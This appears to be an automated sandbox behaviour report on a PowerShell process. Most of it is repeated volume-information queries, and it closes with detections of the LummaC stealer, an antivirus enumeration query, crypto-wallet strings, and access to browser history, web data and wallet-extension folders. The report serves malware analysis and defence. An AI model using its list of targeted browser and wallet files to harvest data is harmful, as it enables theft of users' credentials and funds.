Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior

Source: powershell.exe, 00000008.00000002.3001201192.000000000301C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3836, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: powershell.exe, 00000008.00000002.3001201192.00000000030AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: electrum
Source: powershell.exe, 00000008.00000002.3001201192.0000000003047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: powershell.exe, 00000008.00000002.3001201192.00000000030AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus
Source: powershell.exe, 00000008.00000002.3001201192.00000000030AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ethereum
Source: powershell.exe, 00000002.00000002.2061701636.00000000075F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
